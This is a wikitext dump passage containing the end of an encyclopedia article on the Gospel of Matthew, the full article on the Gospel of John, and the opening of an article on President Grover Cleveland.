Of note is the phrase  &quot;Kingdom of Heaven&quot; (βασιλεια ουρανος) used so often in the gospel of Matthew, as opposed to the phrase &quot;Kingdom of God&quot; used in other synoptic gospels such as Luke.  The phrase &quot;Kingdom of Heaven&quot; is used 32 times in 31 verses in the Gospel of Matthew.  It is speculated that this indicates that this particular Gospel was written to a primarily Jewish audience, as many Jewish people of the time felt the name of God was too holy to be written.  Matthew's abundance of Old Testament references also supports this theory.

The theme &quot;Kingdom of Heaven&quot; as discussed in Matthew seems to be at odds with what was a circulating Jewish expectation -- that the Messiah would overthrow Roman rulership and establish a new reign as the new King of the Jews.  Christian scholars, including [[N. T. Wright]], ''The Challenge of Jesus'', have long discussed the ways in which certain 1st century Jews (including Zealots) misunderstood the sayings of Jesus -- that while Jesus had been discussing a spiritual kingdom, certain Jews expected a physical kingdom.

The relationship between Jesus Christ and the &quot;Kingdom&quot; is also mentioned in the other gospels.  Jesus had said, &quot;My kingdom is not of this world.  If My kingdom were of this world, then My servants would be fighting so that I would not be handed over to the Jews; but My kingdom is not of this realm.&quot; (John 18:36 NASB)

==See also==
*[[Sermon on the Mount]]
*[[Great Commission]]

==External links==
{{wikisourcepar|Bible, King James, Matthew}}
Online translations of the [[Gospel of Matthew]]:
* {{biblegateway||Matthew}}
* [http://www.earlychristianwritings.com/ Early Christian Writings]: texts and introductions
*[http://www.tjresearch.info/mksecond.htm James W.Deardorff, &quot;Dependence of Mark upon Matthew&quot;] a synopsis of the evidence
*[http://www.newadvent.org/cathen/10057a.htm Article from the Catholic Encyclopedia]


Related articles:
*[http://www-user.uni-bremen.de/~wie/TCG/TC-Matthew.pdf A textual commentary on the Gospel of Matthew] Detailed text-critical discussion of the 300 most important variants of the Greek text (PDF, 438 pages)
* [http://www.atmajyoti.org/ch_matthew_1.asp Commentary on the Gospel of Saint Matthew] An interpretation of the inner, practical meaning of the Gospel, by Swami Nirmalananda Giri.

==References==
*Deardorff, James W. ''The Problems of New Testament Gospel Origins'' (1992) ISBN 0-7734-9807-9

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|- bgcolor=&quot;darkgray&quot;
|colspan=3|&lt;center&gt;'''Books of the Bible'''
|- bgcolor=&quot;gainsboro&quot;
|Preceded by:&lt;br&gt;&lt;Center&gt;[[2 Maccabees]]
|'''[[Gospels]]'''
|Followed by:&lt;br&gt;&lt;Center&gt;[[Gospel of Mark|Mark]]
|}
&lt;/center&gt;

[[category:New Testament books|Matthew]]
[[Category:New Testament narrative|Matthew]]

[[ast:Evanxeliu de Matéu]]
[[zh-min-nan:Má-thài Hok-im]]
[[cs:Evangelium podle Matouše]]
[[da:Matthæusevangeliet]]
[[de:Evangelium nach Matthäus]]
[[es:Evangelio de Mateo]]
[[eo:La Evangelio laŭ Sankta Mateo]]
[[fr:Évangile selon Matthieu]]
[[ko:마태오 복음서]]
[[id:Injil Matius]]
[[ia:Evangelio secundo Mattheo]]
[[it:Vangelo secondo Matteo]]
[[jv:Injil Matius]]
[[la:Evangelium secundum Matthaeum]]
[[nl:Evangelie naar Matteüs]]
[[nds:Matthäusevangelium]]
[[ja:マタイによる福音書]]
[[no:Evangeliet etter Matteus]]
[[pl:Ewangelia Mateusza]]
[[pt:Evangelho segundo Mateus]]
[[ru:Евангелие от Матфея]]
[[sk:Evanjelium podľa Matúša]]
[[sr:Свето Јеванђеље по Матеју]]
[[fi:Evankeliumi Matteuksen mukaan]]
[[sv:Matteusevangeliet]]
[[zh:瑪竇福音]]</text>
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  </page>
  <page>
    <title>Gospel of John</title>
    <id>12493</id>
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      <text xml:space="preserve">{{Books of the New Testament}}
{{Chapters in the Gospel of John}}
The '''''Gospel according to John''''' is the fourth [[gospel]] document in the sequence of the [[Biblical canon|canon]] of the [[New Testament]], and scholars agree it was the fourth to be written down. Like the other three [[synoptic]] gospels, it contains an account of some of the actions and sayings of [[Jesus]], but is quite different from them in [[ethos]] and [[theology]].

The [[Church Fathers]] believed only ''The Gospel of John'' and ''The [[Gospel of Matthew]]'' to be written by apostles of Jesus. While the &quot;[[beloved disciple]],&quot; who is traditionally identified with [[John the Apostle]], had traditionally been regarded as the author, this is now disputed by scholars of the &quot;[[Higher Criticism]]&quot; based on historical context and close textual analysis.

==Authorship, date, and place==
''Main article'': [[Authorship of the Johannine works]]

Though most scholars agree in placing the gospel of ''John'' somewhere between [[Anno Domini|AD]] 65 and 85, some place it later, in the first or early second century.  The text itself states only that the Gospel was written by an anonymous follower of Jesus referred to as the ''Beloved Disciple'', traditionally identified with [[John the Apostle]], believed to have lived at the end of his life at [[Ephesus]]. The dating is important since ''John'' is agreed to be the last of the canonical Gospels to have been written down and thus marks the end-date of their composition.

Externally: In 125 A.D., the early Christian writer Papias named John the Apostle as the author of the Gospel of John.  Internally: John 21:24 explicitly states that it is the disciple whom Jesus loved (the beloved disciple) who wrote this. Westcott cites this and much more, also quoting John. 1:14 and 14:35. (Westcott, B. “The Gospel According to St. John.”  Grand Rapids:  Baker, 1980. pp. ix-lxvii, li-ff.)  However, scholarly research starting in the 19th century has questioned the apostle John's authorship, arguing that the work was written decades after the events it describes. Some attack John’s authorship based on differences of Greek style within the Gospel: breaks and inconsistencies in sequence, repetitions in the discourse, as well as passages that clearly do not belong to their context. Most critical scholars are of the opinion that ''John'' was composed in stages (probably two or three), beginning at an unknown time ([[50]]-[[70]]?) and culminating in a final text around [[95]]-[[100]].  This date is assumed in large part because [[John 21]], the so-called &quot;[[John 21|appendix&quot; to ''John'']], is largely concerned with explaining the death of the &quot;beloved disciple,&quot; probably the leader of the Johannine community that produced the text.  If this leader had been a follower of Jesus, or a disciple of one of Jesus' followers, then a death around 90-100 is reasonable. This claim is, of course, rejected by conservative commentators. Conservative commentators note that the author was an eye-witness to Christ, privy to information only an eye-witness could have had (John 13:23ff, 18:10, 18:15, 19:26-27, 19:34, 20:8, 20:24-29). They suggest that perhaps an introduction (John 1:1-18) and a conclusion (John 21) could have been added as an afterthought, kind of like how one might write a thesis.

Conservative scholars state that taking the canons of literature in the first century Greek, looking at external evidences (that there is extensive use of John by Justin Martyr, Polycarp, Papias, Polycarp, Irenaeus, and Ignatius (the early church) (cf. Green-Armytage, A. H. N. '' John Who Saw'', pp. 59-80)), and considering internal evidences (such as lack of the mention of the destruction of the temple and mention of the “Sheep Gate,” prior to the destruction of Jerusalem), there is sufficient evidence and general consensus that this Gospel was composed before 100 AD and as early as 50-70AD. Barrett (cf. Barrett, C. K. ''The Gospel According to St. John.'', p.108-109) suggests an earliest date of 90AD, based on familiarity with Mark’s gospel, and the late date of a synagogue expulsion of Christians (which is a theme in John).  Morris (cf. Morris, L. ''The Gospel According to John'' p.59) suggests 70AD, given Qumran parallels and John’s turn of phrases (usage of “his disciples” vs. “the disciples”).  The author probably knew about the Synoptic tradition, since much of his material is independent of it, providing another perspective on Christ.  Paul used this material extensively in his epistles, which also favors an earlier date, perhaps the early or mid 50s; J.A.T. Robinson (cf. Robinson, J. A. T. ''Redating the Gospels'', pp. 284, 307) agrees with this, proposing an initial edition by 50-55AD and then a final edition by 65AD. 

Like the other gospels, ''John'' was certainly based on previous texts now lost.  The contemporary scholar of the Johannine community, [[Raymond E. Brown]], identifies three layers of text in the Fourth Gospel (a situation that is paralleled by the [[synoptic gospel]]s): 1) an initial version Brown considers based on personal experience of Jesus; 2) a structured literary creation by the evangelist which draws upon additional sources; and 3) the edited version that readers know today (Brown 1979). 

A fragmentary scrap of papyrus discovered in Egypt in [[1920]], now at the [[John Rylands Library]], [[Manchester]], accession number P52 (see link below), bears parts of John [http://www.biblegateway.com/passage/?search=John%2018:31-33;&amp;version=31; 18:31-33] on one side and [http://www.biblegateway.com/passage/?search=John%2018:37-38;&amp;version=31; 18:37-38] on the other. If it has been correctly dated to the first half of the second century (by C. F. Roberts), it ranks as the earliest known fragment of the New Testament in any language. Fuller details are at the entry on the [[Rylands Library Papyrus P52]].

Skepticism about the date (not about the fragment's authenticity) is based on two issues. First, no other scrap of Greek has ever been so narrowly dated based on the handwriting alone, without the support of textual evidence. Second, this fragment is not from a scroll but from a [[codex]]: a bound book not a roll. If it dates to the first half of the second century, this fragment would be an uncharacteristically early example of a codex, the form that superseded the scroll. Since this fragment is small&amp;mdash;about nine by five centimeters&amp;mdash; it is uncertain whether it comes from a full copy of the ''John'' that we know.    Nevertheless, while some experts in [[paleography]] have objected to the dating, it is agreed that this piece of papyrus is the earliest text for any portion of the New Testament. Its closest rival in date is the [[Egerton Gospel]], a mid-second-century fragment of a codex that records a gospel not identical to any of the canonical four, but which has closer parallels to ''John'' than with the synoptic gospels. Thus the Egerton Gospel may represent a less-developed example of the same tradition (though of a slightly later date).

Brent Nongbri writes in the conclusion to the essay &quot;The Use and Abuse of P52: Papyrological Pitfalls in the Dating of the Fourth Gospel&quot; (''Harvard Theological Review'' 98 [2005], page 48):

:&quot;What emerges from this survey is nothing surprising to papyrologists: paleography is not the most effective method for dating texts, particularly those written in a literary hand. Roberts himself noted this point in his edition of P52. The real problem is the way scholars of the New Testament have used and abused papyrological evidence. I have not radically revised Roberts's work. I have not provided any third-century documentary papyri that are absolute &quot;dead ringers&quot; for the handwriting of P52, and even had I done so, that would not force us to date P52 at some exact point in the third century. Paleographic evidence does not work that way. What I have done is to show that any serious consideration of the window of possible dates for P52 must include dates in the later second and early third centuries. Thus, P52 cannot be used as evidence to silence other debates about the existence (or non-existence) of the Gospel of John in the first half of the second century. Only a papyrus containing an explicit date or one found in a clear archaeological stratigraphic context could do the work scholars want P52 to do. As it stands now, the papyrological evidence should take a second place to other forms of evidence in addressing debates about the dating of the Fourth Gospel.&quot;

There are other theories of authorship.  One of the most dramatic is the claim by Ramon K. Jusino that ''John'' was written by [[Mary Magdalene]]. [http://www.beloveddisciple.org/ &quot;Mary Magdalene, author of the Fourth Gospel?'], 1998, available on-line.

The Austrian philosopher, Goethean scholar and founder of [[anthroposophy]] [[Rudolph Steiner]] argues that John, the author of the fourth gospel, and the ressurected [[Lazurus]] are one and the same person. See Rudolph Steiner's book 'The Gospel of John'.

'''Place.''' The Gospel has no clues as to the exact location, so it is unknown. Leon Morris (Morris, L. ''The Gospel According to John'' p.60) cites three possibilities: Ephesus (as per Irenaeus),  Alexandria, or Antioch.

==Sources==

A hypothesis elaborated by the noted German theologian and biblical scholar [[Rudolf Bultmann]] in ''Das Evangelium des Johannes'', 1941 (translated as ''The Gospel of John: A Commentary,'' 1971), suggested that the author of ''John'' depended in part on an oral miracles tradition or a manuscript of Christ's miracles that was independent of the synoptic gospels, whose authors did not use it. This has been labelled a &quot;[[Signs Gospel]]&quot; and alleged to have been circulating before [[70|AD 70]]: evidently it is lost. Even readers who doubt that such a document can be precisely identified have noticed the remnants of a numbering associated with some of the miracles that appear in the canonical ''Gospel of John.'' Textual critics have noted that, of the miracles that are mentioned only by John, all of them occur in the presence of ''John'' [http://www.biblegateway.com/passage/?search=John%2012:37;&amp;version=31; 12:37]; that these signs are unusually dramatic; and that these &quot;signs&quot; (''semeia'' is uniquely John's expression) are accomplished in order to ''call forth'' faith. These miracles are different, not only from the rest of the &quot;signs&quot; in ''John'', but also from all of the miracles in the
synoptic gospels, which, according to this interpretation, occur ''as a result'' of faith. 

These characteristics may be independently assessed by a reader who returns to the text. One conclusion is that John was reinterpreting an early Hellenistic tradition of Jesus as a wonder-worker, a &quot;magician&quot; that would fit within the Hellenistic world-view. These ideas were so hotly denied that [[heresy]] proceedings were instituted against Bultmann and his writings. (See more detailed discussions linked below.)

Further arguments that Jesus was also known as a &quot;Divine Man, Wonder-worker (One who is favored by the Gods), or even a Sorcerer&quot; in the late 3rd and 4th centuries have also been given as an explanation of artistic representations of Jesus with a magic wand. Since these representations exist only in the Western part of the Roman Empire, it has been suggested that this has a relation with [[Arianism]]. Peter is the only apostle, portrayed in early Christian art, who also carries a wand. These wands or staffs are thought to be symbols of power. This art, since its discovery, has not been kept secret.

==Handling of source material ==

It is notable that the Gospel's opening prologue in John [http://www.biblegateway.com/passage/?search=John%201:1-18;&amp;version=31; 1:1-18] consciously echoes the opening motif of ''[[Genesis (Hebrew Bible)]].'', &quot;In the beginning&quot;. Beyond this, there has been much debate over the centuries on the theological background of the prologue: is it a formula of Hellenistic [[rhetoric]], traditional Jewish wisdom, or some type of Qumran-like [[Dead Sea scrolls]] metaphysic? 

By the beginning of the 21st century, the pendulum of scholarly opinion has swung back to a traditional Jewish background. While Genesis [http://www.biblegateway.com/passage/?search=Genesis%201;&amp;version=31; 1] focuses on God's creation, [[John 1|John]] [http://www.biblegateway.com/passage/?search=John%201;&amp;version=31; 1] focuses on the Word (or [[Logos]] in the Greek) and the significance of the Word coming into the already created world. 

The Johannine gospel identifies the [[Logos]] with [[Jesus]]. Compare this with the Second Adam as described by [[Paul of Tarsus|Paul]] in I Corinthians [http://www.biblegateway.com/passage/?search=1%20Corinthians%2015:45;&amp;version=31; 15:45] where he states that the First Adam (of Genesis) was a body who became &quot;a living being&quot;, while the Second Adam ([[Jesus]]) is &quot;a lifegiving spirit.&quot;  Perhaps with Paul's previously distributed epistle in mind, John aims not only to show Jesus as the Word of God Incarnate, as many believe, but also to confound &quot;the [[Jew]]s&quot; by superseding the ''[[incipit]]'' of their earliest historical book!

==Structure==

After the prologue (1:1-5), the narrative of this gospel begins with verse 6, and consists of two parts. The first part, called &quot;the Book of Signs&quot; (1:6-ch. 12) contains the story of [[Jesus]]' public ministry from the time of his baptismal initiation by [[John the Baptist]] to its close. In this first part, John chooses seven of Jesus's miracles, always calling them &quot;signs.&quot;  The second part, called &quot;the Book of Glory&quot; (ch. 13-21) presents Jesus in the retirement of private life and in his dialog with his immediate followers (13-17), and gives an account of his sufferings and [[crucifixion]] and of his appearances to the disciples after his resurrection (18-20).  Chapter [http://www.biblegateway.com/passage/?search=John%2021;&amp;version=31; 21] the &quot;appendix&quot; recounting the death of the &quot;beloved disciple,&quot; follows. 

The ''Gospel of John'' is easily distinguished from the three [[Synoptic Gospels]], which share a more considerable amount of text and describe much more of Jesus' life.  By contrast, the specific peculiarities of John are notable, especially in their effect on modern Christianity.  

John gives far more focus in his work to the mystical relation of the Son to the Father.  As a Gospel writer, many believe he essentially developed the concept of the [[Trinity]] while the Synoptic Gospels had focused less directly on Jesus as the Son of God.  John includes far more direct claims of Jesus being the only Son of God in favour of Jesus as the Son of Man.  The gospel also focuses on the relation of the Redeemer to believers, the announcement of the Holy Spirit as the Comforter (Greek ''[[Paraclete]]''), and the prominence of love as an element in the Christian character.

==Popular Passages in the Gospel==
[[John 3:16|John]] [http://www.biblegateway.com/passage/?search=John%203:16;&amp;version=31; 3:16] is one of the most widely known passages in the New Testament: ''For God so loved the world, that he gave his only begotten Son, that whosoever believeth in him should not perish, but have everlasting life.''  According to the professional men's and Bible distribution society [[Gideons International]], John 3:16 has been translated into more than 1,100 languages.

Another popular passage from John is [http://www.biblegateway.com/passage/?search=John%204:13-14;&amp;version=31; John 4:13-14]. ''&quot;Jesus answered, &quot;Everyone who drinks this water will be thirsty again, but whoever drinks the water I give him will never thirst. Indeed, the water I give him will become in him a spring of water welling up to eternal life.&quot;'' Jesus had said this to a Samaritan woman whom he met at a well, and he told her about the living water that he offered. This saying was based partially on [http://www.biblegateway.com/passage/?search=Isaiah%2055:1-2;&amp;version=31; Isaiah 55:1-2].

==Differences from the Synoptic Gospels==
John is significantly different from the three preceding [[Synoptic Gospels]] of Matthew, Mark, and Luke in man different ways. Some of the differences are:

*The [[Kingdom of God]] is only mentioned twice in John. In contrast, the other gospels repeatedly use the Kingdom of God and the Kingdom of Heaven as important concepts.
*The Gospel of John does not contain any [[parable]]s, although metaphoric stories, like [[John 15]], are still found in the gospel.
*The saying &quot;He who has ears, let him hear&quot; is totally absent from John.
*The healings of demon-possessed people are never mentioned as in the Synoptics.
*The Synoptics contain a wealth of stories about Jesus's miracles and healings, but John does not have as much of those stories. John tends to elaborate more heavily on the stories than the Synoptics.
*Various speeches of Jesus are absent, including all of the [[Sermon on the Mount]] and the instructions that Jesus gave to his disciples when he sent them out throughout the country to heal and preach (as in [[Matthew 10]]). 
*Overall, the sayings of Jesus in the Synoptic Gospels have many close parallels to sayings in the [[Gospel of Thomas]]. However, Jesus's sayings in the Gospel of John almost never closely parallel the sayings found in the Gospel of Thomas.

==Characteristics of the ''Gospel of John''==
The Greek of this gospel is elegant, and its theology subtle and sophisticated, with many parallels in Hellenistic thought.

Some of the passages in this book are alleged to be [[Christian anti-Semitism|anti-Semitic]], mainly due to the emphasis placed on the responsibility of the Jews (especially the Jewish leaders in Judea) for the Crucifixion. The Gospel uses the term &quot;the Jews&quot; to categorize some of Jesus' detractors. Most likely  the author was Jewish himself, speaking to a largely Jewish community, and therefore we must be careful applying a 21st century language lens on a 1st century expression. Nonetheless, these passages were appropriated and used in negative ways by some Christian groups in certain periods of history to persecute Jewish people, being quoted to justify ''[[odium theologicum]]''. Other critics read this shift of emphasis to the Jewish public enemies of the Roman ''imperium'' and away from the Roman authorities, who actually carried out the execution, as a technique of rendering a developing Christianity more palatable in official circles. It is because of this that some politically-correct English translations (like the controversial [[Today's New International Version]]) remove the term &quot;Jews&quot; and replace them with non-offensive terms so as to remove alleged anti-Semitism. Critics of these translations state that when John uses &quot;Jews,&quot; he is not referring to all Jews (as John, Jesus and his disciples were all Jews) but to the Jewish leaders (the Sanhedrin) in Judea who openly oppose Jesus. These same critics argued that those people who believe that the Gospel of John is &quot;anti-Semitic&quot; failed to understand how the term &quot;Jews&quot; is actually used.

Unlike the synoptic Gospels, elements of [[Gnosticism]] have been recognized by some readers in the ''Gospel of John'' though it is not generally regarded as a &quot;Gnostic gospel&quot;. In order to find passages that refute [[Gnosticism]]&amp;mdash;by stating that Christ is approachable even as Spirit&amp;mdash;readers must turn instead to the ''[[First Epistle of John]]'', in passages such as 1 Jn [http://www.biblegateway.com/passage/?search=1%20John%202:1-2;&amp;version=31; 2:1-2]; [http://www.biblegateway.com/passage/?search=1%20John%203:8;&amp;version=31; 3:8], [http://www.biblegateway.com/passage/?search=1%20John%203:16;&amp;version=31; 3:16] and [http://www.biblegateway.com/passage/?search=1%20John%204:2-3;&amp;version=31; 4:2-3]. The earliest copies of the ''Gospel of John'' are also from Gnostic sources that include overtly Gnostic writings&lt;!--this needs to be more specific--&gt;, implying that ''John'' was read by Gnostic groups.  One school of interpretation distinguishes between &quot;Johannine Christianity&quot; and &quot;Pauline Christianity&quot;. The ''[[gnosis]]'' in Gnosticism is secret information that is available only to initiates. In the Gnostic view, salvation comes through &quot;knowledge&quot; that Jesus is the Christ -- those who understand his true nature are saved, those who don't &quot;stand condemned already.&quot;

Though ''John'' is not a &quot;secret&quot; gospel&amp;mdash;as other surviving apocryphal (&quot;secret&quot;) gospels and fragments claim to be&amp;mdash;the narrative is interrupted at an important turn of events just before the Crucifixion, for nearly five chapters (John [http://www.biblegateway.com/passage/?search=John%2013;&amp;version=31; 13], [http://www.biblegateway.com/passage/?search=John%2018;&amp;version=31; 18]) of private discourse and teachings that Jesus shares only with the disciples, the &quot;farewell discourses&quot;, which are without parallel in the synoptic gospels, in their present version (but compare the ''[[Secret Gospel of Mark]]'').

===Other characteristics unique to ''John''===
&lt;!--the trivial ones should be omitted--&gt;

*The Apostle [[Thomas]] is given a personality beyond a mere name, as &quot;Doubting Thomas&quot; ([http://www.biblegateway.com/passage/?search=John%2020:27;&amp;version=31; 20:27] etc).

*Jesus refers to himself with metaphoric &quot;I am&quot; saying seven times ([http://www.biblegateway.com/passage/?search=John%206:35;&amp;version=31; 6:35]) ([http://www.biblegateway.com/passage/?search=John%208:12;&amp;version=31; 8:12]) ([http://www.biblegateway.com/passage/?search=John%2010:9;&amp;version=31; 10:9]) ([http://www.biblegateway.com/passage/?search=John%2010:11;&amp;version=31; 10:11]) ([http://www.biblegateway.com/passage/?search=John%2011:25;&amp;version=31; 11:25]) ([http://www.biblegateway.com/passage/?search=John%2014:6;&amp;version=31; 14:6]) ([http://www.biblegateway.com/passage/?search=John%2015:1;&amp;version=31; 15:1])

*Two &quot;signs&quot; are numbered ([http://www.biblegateway.com/passage/?search=John%202:11;&amp;version=31; 2:11]) ([http://www.biblegateway.com/passage/?search=John%204:54;&amp;version=31; 4:54])

*There are no stories about Satan, demons or exorcisms, no predictions of end times, no [[Sermon on the Mount]], and no ethical or apocalyptic teachings.

*The hourly time is given: Greek text: about the tenth hour, translated as &quot;four o'clock in the afternoon&quot; [first hour is 6 AM, sundial time] ([http://www.biblegateway.com/passage/?search=John%201:39;&amp;version=31; 1:39])

*When the water at the pool of [[Bethsaida]] is moved by an angel it heals ([http://www.biblegateway.com/passage/?search=John%205:3-4;&amp;version=31; 5:3-4])

*Jesus says he is not going to the festival. However, after his brothers had gone, he too goes, but in secret for not all to see ([http://www.biblegateway.com/passage/?search=John%207:8-10;&amp;version=31; 7:8-10])

*According to the ''New American Bible'', Catholic Book Publishing Co., New York, 1970, the [[Pericope Adulteræ|story of the adultress]] ([http://www.biblegateway.com/passage/?search=John%208:1-11;&amp;version=31; 8:1-11]) is missing from the best early Greek manuscripts. When it does appear it is at different places: here, after ([http://www.biblegateway.com/passage/?search=John%207:36;&amp;version=31; 7:36]) or at the end of this gospel. It can also be found at Luke [http://www.biblegateway.com/passage/?search=Luke%2021:38;&amp;version=31; 21:38].

*Jesus washes the disciples' feet ([http://www.biblegateway.com/passage/?search=John%2013:3-16;&amp;version=31; 13:3-16])

*No other women are mentioned going to the tomb with [[Mary Magdalene]]. She seems to be alone. ([[John 20:1|John]] [http://www.biblegateway.com/passage/?search=John%2020:1;&amp;version=31; 20:1])

*Mary Magdalene visits the empty tomb twice. She believes Jesus' body has been stolen. The second time she sees two angels. They do not tell her Jesus is risen. They only ask why she is crying. Mary mistakes Jesus for the gardener. He tells Mary ''not to'' cling to him. ([[John 20|John]] [http://www.biblegateway.com/passage/?search=John%2020;&amp;version=31; 20]: [[John 20:1|1]]-[[John 20:18|18]]). That very evening, in the same chapter ([http://www.biblegateway.com/passage/?search=John%2020:28;&amp;version=31; 20:28]), Jesus asks Thomas to touch him and to place his fingers and hand in Jesus' still open wounds. At the sight of Jesus, Thomas gives an exclamation of faith but if he follows Jesus' direction, it is not in the text.  

*Some of the brethren thought the &quot;disciple whom Jesus loved&quot; would not die, and an explanation is given for his death. ([http://www.biblegateway.com/passage/?search=John%2021:23;&amp;version=31; 21:23])

*The &quot;disciple whom Jesus loved&quot; wrote down things he had witnessed, and his testimony is asserted by a third party to be true ([http://www.biblegateway.com/passage/?search=John%2021:24;&amp;version=31; 21:24])

*The beloved disciple (traditionally believed to be the Apostle John) is never named.

==See also==
* [[John 3:16]]
* [[Pericope Adulteræ]]
* [[Gospel of Mark]]
* [[The Gospel of John (movie)|The Gospel of John]] (movie)
* [[Ancient History]]

==References==

* Raymond E. Brown, ''The Gospel According to John'' Anchor Bible, 1966, 1970
* Raymond E. Brown, ''The Community of the Beloved Disciple'' Paulist Press, 1979
* Robin M. Jensen, ''The Two Faces of Jesus'', Bible Review Oct 2002, p42
* J.H. Bernard &amp; A.H. McNeile, ''A Critical and Exegetical Commentary On The Gospel According To St. John''. Edinburgh, T. &amp; T. Clark, 1953.

==External links==
{{wikibooks}}
Online translations of the [[Gospel of John]]:
* {{biblegateway||John}}
*[http://www.earlychristianwritings.com/egerton.html The Egerton Gospel:] text. Compare it with ''Gospel of John''


Related articles:
*[http://www-user.uni-bremen.de/~wie/TCG/TC-John.pdf A textual commentary on the Gospel of John] Detailed textcritical discussion of the 300 most important variants of the Greek text (PDF, 376 pages)
*[http://www.earlychristianwritings.com/signs.html &quot;Signs Gospel&quot;]. a hypothetical written source for miracles in the ''Gospel of John'': discussion
*[http://rylibweb.man.ac.uk/data1/dg/text/fragment.htm  Papyrus fragment of ''John'' at the John Rylands Library;] illustrated.
*[http://www.kchanson.com/ANCDOCS/greek/johnpap.html John Rylands papyrus:] text, translation, illustration and a bibliography of the discussion

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{| border=&quot;1&quot; style=&quot;border-collapse: collapse&quot;
|- bgcolor=&quot;darkgray&quot;
|colspan=3|&lt;Center&gt;'''Books of the Bible'''
|- bgcolor=&quot;gainsboro&quot;
|Preceded by:&lt;br&gt;&lt;Center&gt;[[Gospel of Luke|Luke]]
|'''[[Gospels]]'''
|Followed by:&lt;br&gt;&lt;Center&gt;[[Acts of the Apostles|Acts]]
|}
&lt;/center&gt;



[[Category:New Testament books|John]]
[[Category:New Testament narrative|John]]

[[bs:Jevanđelje po Jovanu]]
[[cs:Evangelium podle Jana]]
[[da:Johannesevangeliet]]
[[de:Evangelium nach Johannes]]
[[et:Johannese evangeelium]]
[[es:Evangelio de Juan]]
[[eo:La Evangelio laŭ Sankta Johano]]
[[fr:Évangile selon Jean]]
[[ko:요한 복음서]]
[[id:Injil Yohanes]]
[[ia:Evangelio secundo Johannes]]
[[la:Evangelium secundum Ioannem]]
[[nl:Evangelie naar Johannes]]
[[ja:ヨハネによる福音書]]
[[pl:Ewangelia Jana]]
[[pt:Evangelho segundo João]]
[[ru:Евангелие от Иоанна]]
[[scn:Vancelu di Giuvanni]]
[[fi:Evankeliumi Johanneksen mukaan]]
[[sv:Johannesevangeliet]]
[[zh:若望福音]]</text>
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    <title>Grover Cleveland</title>
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      <text xml:space="preserve">{{Infobox_President | name=President Stephen Grover Cleveland
| nationality=american
| image=President Grover Cleveland.jpg
| order=22nd President,&lt;br&gt;24th President
| term_start=[[March 4]], [[1885]]
| term_end=[[March 4]], [[1889]]&lt;br&gt;[[March 4]], [[1893]] &amp;ndash; [[March 4]], [[1897]]&lt;!--This is an unsourced invention: Prior to the passage of the 20th Amendment, presidential terms ended at 11:59:59 on March 3. --&gt;
| predecessor=[[Chester A. Arthur]] (1885)&lt;br&gt;[[Benjamin Harrison]] (1893)
| successor=[[Benjamin Harrison]] (1889)&lt;br&gt;[[William McKinley]] (1897) 
| birth_date=March 18, 1837
| birth_place=[[Caldwell, New Jersey|Caldwell]], [[New Jersey]]

| death_date=June 24, 1908
| death_place=[[Princeton, New Jersey|Princeton]], [[New Jersey]]
| spouse=[[Frances Cleveland|Frances Folsom Cleveland]]
| party=[[Democratic Party (United States)|Democratic]]
| vicepresident=[[Thomas A. Hendricks]] (1885, [[List of leaders who died in office|died in office]])&lt;br&gt;[[Adlai E. Stevenson]] (1893&amp;ndash;1897)
| signature=GroverCleveland_Signature.png
|}}

'''Stephen Grover Cleveland''' (March 18, 1837 &amp;ndash; June 24, 1908) was the 22nd (1885&amp;ndash;1889) and 24th (1893&amp;ndash;1897) [[President of the United States]], and the only President to serve two non-consecutive terms. He was the only [[United States Democratic Party|Democrat]] elected to the presidency in the era of [[United States Republican Party|Republican]] political domination between 1860 and 1912.
Cleveland was a hard worker and was scrupulously honest at a time when many politicians were neither. Critics complained that he had little imagination and seemed overwhelmed by the nation's economic problems in his second term.  He lost control of his Democratic party to the agrarians and silverites in 1896.

==Youth and early political career==
Cleveland was born in [[Caldwell, New Jersey]] to the Rev. Richard Cleveland and Anne Neal. He was one of nine children. His father was a [[Presbyterian]] minister, and as the church frequently transferred its ministers, the family moved many times, mainly around central and western [[New York]] State.

As a lawyer in [[Buffalo, New York|Buffalo]], he became notable for his single-minded concentration upon whatever task faced him. He was elected [[sheriff]] of [[Erie County, New York]] in 1870 and, while in that post, carried out at least two hangings of condemned criminals. Political opponents would later hold this against him, calling him the &quot;Buffalo Hangman&quot;. Cleveland stated that he wished to take the responsibility for the executions himself, and not pass it along to subordinates. 

At 44, he emerged into a political prominence that carried him to the [[White House]] in three years. Running as a reformer, he was elected [[mayor of Buffalo]] in 1881, with the slogan &quot;Public Office is a Public Trust&quot; as his trademark of office. In 1882 he was elected [[Governor of New York]].

==First term as President, 1885-1889==

===Campaign===
Cleveland won the Presidency with the combined support of Democrats and reform Republicans called &quot;[[Mugwumps]]&quot;, who denounced his opponent, Senator [[James G. Blaine]] of Maine as corrupt.

The campaign was relatively negative.  To counter Cleveland's image of purity his opponents reported that Cleveland had fathered an illegitimate child while he was a lawyer in Buffalo. Republican crowds chanted, &quot;Ma, Ma, where's my Pa?&quot; 

Although Cleveland never publicly admitted or denied the rumor, he did admit to paying child support to [[Maria Crofts Halpin]], the woman who claimed he fathered her child, who was named Oscar Folsom Cleveland, in 1874.  Halpin was involved with several men at the time, including Cleveland's law partner and mentor, Oscar Folsom, for whom the child was named.  (Cleveland is believed to have assumed responsibility because he was the only bachelor among them). After Cleveland's election as President, Democratic newspapers added a line to the sound-bite used against Cleveland and made it: &quot;Ma, Ma, where's my Pa? Gone to the White House! Ha Ha Ha!&quot;

===Personal life===
[[Image:President_cleveland_wedding.png|left|thumb|Grover Cleveland was the second president married in office, and the only president married in the White House itself]] 
In June 1886, Cleveland married [[Frances Folsom]], the daughter of his former law partner. He was the second president to be married while in office, and the only president to have a wedding in the White House itself. Folsom was also the youngest First Lady in the history of the U.S.

===Politics===
Cleveland's administration might be characterized by a quote from his inauguration address:  &quot;I have only one thing to do, and that is to do right&quot;.  Cleveland himself insisted that, as President, his greatest accomplishment was blocking others' bad ideas. He vigorously pursued a policy barring special favors to any economic group. Vetoing a bill to appropriate $10,000 to distribute seed grain among drought-stricken farmers in [[Texas]], he wrote: &quot;Federal aid in such cases encourages the expectation of paternal care on the part of the Government and weakens the sturdiness of our national character....&quot;  He also vetoed hundreds of private pension bills to [[American Civil War]] veterans whose claims were fraudulent. When Congress, pressured by the [[Grand Army of the Republic]], passed a bill granting [[pensions]] for disabilities not caused by military service, Cleveland vetoed that, too. Cleveland used the veto far more often than any President up to that time.

He angered the [[railroad]]s by ordering an investigation of western lands they held by Government grant, forcing them to return 81,000,000 acres (328,000 km&amp;sup2;). He also signed the [[Interstate Commerce Act]], the first law attempting Federal regulation of the railroads.

